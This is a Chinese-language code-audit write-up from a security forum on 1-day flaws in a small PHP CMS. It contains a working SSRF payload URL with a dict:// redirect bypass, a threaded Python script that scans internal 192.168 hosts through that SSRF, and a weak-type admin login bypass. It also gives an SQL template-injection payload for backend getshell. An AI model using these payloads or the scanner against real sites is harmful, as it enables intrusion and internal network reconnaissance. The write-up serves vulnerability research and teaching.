最近在整理自己代码审计的文档时,发现自己以前审了不少小cms的1day, 现在的话基本没啥用,所以打算慢慢发出来,分享一下自己在学习各种语言审计时的一些小思路, 希望能够帮助和我一样的萌新能够领略代码审计的魅力。
0x00 前言
最近在整理自己代码审计的文档时,发现自己以前审了不少小cms的1day, 现在的话基本没啥用,所以打算慢慢发出来,分享一下自己在学习各种语言审计时的一些小思路, 希望能够帮助和我一样的萌新能够领略代码审计的魅力。
下面的过程基本就是我当时审计的完整状态,所以我觉得萌新对自己可以有点信心,很多事情其实自己也可以做到的。
0x01 确定路由
wq2/wq2/framework/bootstrap.inc.php
$controller = $_GPC['c'];
$action = $_GPC['a'];
$do = $_GPC['do'];
加载模块
跳转到控制器
0x02 确定鉴权
这里我们可以通过定位user下的文件来确定
if (is_array($acl[$controller]['direct']) && in_array($action, $acl[$controller]['direct'])) {
require _forward($controller, $action);
exit();}
checklogin();
这里主要是通过acl
进行判断,如果action在这个控制器的的direct数组下的的话,则不需要进行checklogin
校验,否则则需要校验
简单回溯下:
$acl = require IA_ROOT . '/web/common/permission.inc.php';
接下来我们可以分析下checklogin
函数
function checklogin() {
global $_W;
if (empty($_W['uid'])) {
if (!empty($_W['setting']['copyright']['showhomepage'])) {
itoast('', url('account/welcome'), 'warning');
} else {
itoast('', url('user/login'), 'warning');
}
}
return true;
}
可以看到主要是通过全局的$_W['uid']
如果不为空,则验证通过。
这里我们跟进下登录文件
web/source/user/login.ctrl.php
$record
是查询返回的结果,在user_single
对用户和密码进行了校验
如果$record
不为空,则可以登录
还有几个设置$_W["uid"]
的地方
都是基于$session
的值来判断的。
0x03 确定挖洞思路
1.挖不需要授权的direct之类的
'account' => array(
'default' => '',
'direct' => array(
'auth',
'welcome',
),
'article' => array(
'default' => '',
'direct' => array(
'notice-show',
'news-show',
),
'direct' => array(
'touch',
'dock',
),
'cron' => array(
'default' => '',
'direct' => array(
'entry',
),
'site' => array(
'default' => '',
'direct' => array(
'entry',
),
'user' => array(
'default' => 'display',
'direct' => array(
'login',
'register',
'logout',
'find-password',
'third-bind'
),
'utility' => array(
'default' => '',
'direct' => array(
'verifycode',
'code',
'file',
'bindcall',
'subscribe',
'wxcode',
'modules',
'link',
),
2.根据功能点来测试,观察整个流程是否有绕过的点。
3.测用户和后台权限的功能点(很多都不开放注册,鸡肋)
0x04 前台某处可回显SSRF
通过搜索关键字,确定了几个可能存在漏洞方法
ihttp_request
sendHttpRequest
SendCurl
send_request
send_http
send_http_synchronous
后面根据这些方法进行回溯系统流程:
可控,但是在
这里系统限制了只能使用http,https
还有限制了一些内网ip的host,
由于curl设置了跟随,可以header('Location: dict://lcoalhost:3306')
绕过限制
payload:
http://host/web/index.php?c=utility&a=wxcode&do=image&attach=http://127.0.1.13:80/
效果:
可以用来探测服务,gopher、dict批量打redis等等
当时写的探测脚本:
#!/usr/bin/python3
# -*- coding:utf-8 -*-
import requests
import time
import threading, queue
# res = requests.get('target/web/index.php?c=utility&a=wxcode&do=image&attach=http://127.0.0.1:80/')
# print(res
# .content)
#
myQueue = queue.Queue()
Lock = threading.Lock()
okList = []
def produce():
for i in range(1,255):
for j in range(1,254):
ip = '192.168.{a}.{b}'.format(a=i, b=j)
# print("try ip:{ip}".format(ip=ip))
url = 'http://target/web/index.php?c=utility&a=wxcode&do=image&attach=http://{ip}:80/'.format(ip=ip)
myQueue.put(url)
print("Load target Done!!!")
def work():
while True:
try:
url = myQueue.get()
except:
if myQueue.empty():
break
print("try: {u}".format(u=url))
try:
res = requests.get(url, timeout=2)
if res.status_code == 200:
Lock.acquire()
print("ok ip: {ip}".format(ip=ip))
okList.append(ip)
Lock.release()
except Exception as e:
print("[worker] error,e:{e}".format(e=e))
def main():
produce()
threadingNum = 50
myThread = []
for i in range(threadingNum):
t = threading.Thread(target=work)
myThread.append(t)
t.start()
for t in myThread:
t.join()
print("ok, work Done")
print(okList)
if __name__ == '__main__':
main()
0x05 绕过后台登录
这里主要是存在弱类型的问题,导致可以fuzz然后绕过后台登录。
首先hash的加密规则:$record['hash'] = md5($record['password'] . $record['salt']);
如果管理员密码的md5为数字开头
我们可以通过爆破开头的数字来进行绕过进入系统里面。
如admin888和password888
0x06 后台绕过getshell
这个点可能通杀所有版本吧
首先我们进入站点->数据库处执行语句:
UPDATE `ims_site_page` SET `uniacid` = '1' , `multiid` = '0' , `title` = '快捷菜单' , `description` = '' , `status` = '0' , `type` = '2' , `params` = '1' , `html` = '{if phpinfo())//}' , `createtime` = '1593049546' WHERE `id` = '1'
然后访问:
/app/index.php?i=1&c=home&a=page&id=1
分析成因:
跟进: app/source/home/page.ctrl.php
if($do == 'getnum'){
........
} else {
$footer_off = true;
template_page($id); // 跟进这里
}
$page['html'] = str_replace(array('<?', '<%', '<?php', '{php'), '_', $page['html']);
这里可以看到进行了一些过滤,基本扼杀了我们的想法,我们继续跟下去
可以看到$content
进入了template_parse
出来之后,直接写入了模板文件中。
我们跟进template_parse
可以发现模板为了解析标签,主动为我们补了个<?php
那可真的是太好了。
这里我选这个点来分析:
$str = preg_replace('/{if\s+(.+?)}/', '<?php if($1) { ?>', $str);
这里的意思就是
将除了空格的内容放到$1
{if phpinfo())//}
=><?php if(phpinfo())//) { ?>
这里我们可以利用php的//
注释特性来闭合错误,其实还有很多方法来闭合错误。
最后在
直接include了模板,成功getshell。
0x07 总结
非常简单的的一个漏洞组合链实现getshell,我觉得审计的话, 还是需要一些系统地思路,比如我就喜欢先确定路由->确定鉴权->前台漏洞挖掘->后台漏洞挖掘这种思路,但是对于不太熟悉的语言,我会使用关键字的方法, 期待能继续与你们分享。
- 本文作者: 带头大哥
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/45
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!